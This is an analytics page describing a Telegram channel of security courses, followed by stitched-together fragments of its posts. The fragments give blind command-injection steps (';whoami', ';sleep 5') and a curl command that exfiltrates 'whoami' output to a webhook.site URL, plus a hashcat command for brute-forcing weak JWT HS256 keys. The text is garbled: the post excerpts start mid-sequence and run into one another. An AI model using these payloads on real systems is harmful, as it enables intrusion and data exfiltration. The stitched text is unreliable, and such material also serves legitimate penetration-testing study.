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All Security Engineering Courses
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!
Show more📈 Analytical overview of Telegram channel All Security Engineering Courses
Channel All Security Engineering Courses (@allsecurityengineeringcourses) in the English language segment is an active participant. Currently, the community unites 18 784 subscribers, ranking 7 169 in the Technologies & Applications category and 36 005 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 18 784 subscribers.
According to the latest data from 12 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 118 over the last 30 days and by -1 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 10.04%. Within the first 24 hours after publication, content typically collects 3.09% reactions from the total number of subscribers.
- Post reach: On average, each post receives 1 886 views. Within the first day, a publication typically gains 580 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 2.
- Thematic interests: Content is focused on key topics such as git, strace, github, linux, docker.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...”
Thanks to the high frequency of updates (latest data received on 13 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
;whoami
Since the app doesn’t return output (blind RCE), you need a side-channel to confirm it.
• Step 2: Use a Time-Based Payload like ;sleep 5
If the server delays its response by ~5 seconds, it confirms your command executed.
💡This proves RCE is real, even if output is hidden.
• Step 3: Exfiltrate Output Using Webhook.site using a payload like this:
curl -X POST -d "user=$(whoami)" https://webhook.site/YOUR-IDWebhook.site
Visit your unique Webhook.site URL and you’ll see a new request with the POST body: user=www-data
💡That confirms command output was exfiltrated successfully.When apps use HS256, the same key signs and verifies the token. If that key is weak (e.g., secret, 123456, app name…), it can be brute-forced offline.• Attack flow: 1. Capture a valid JWT 2. Use tools like hashcat or jwt-tool to brute-force the key
hashcat -a 0 -m 16500 <jwt> <wordlist>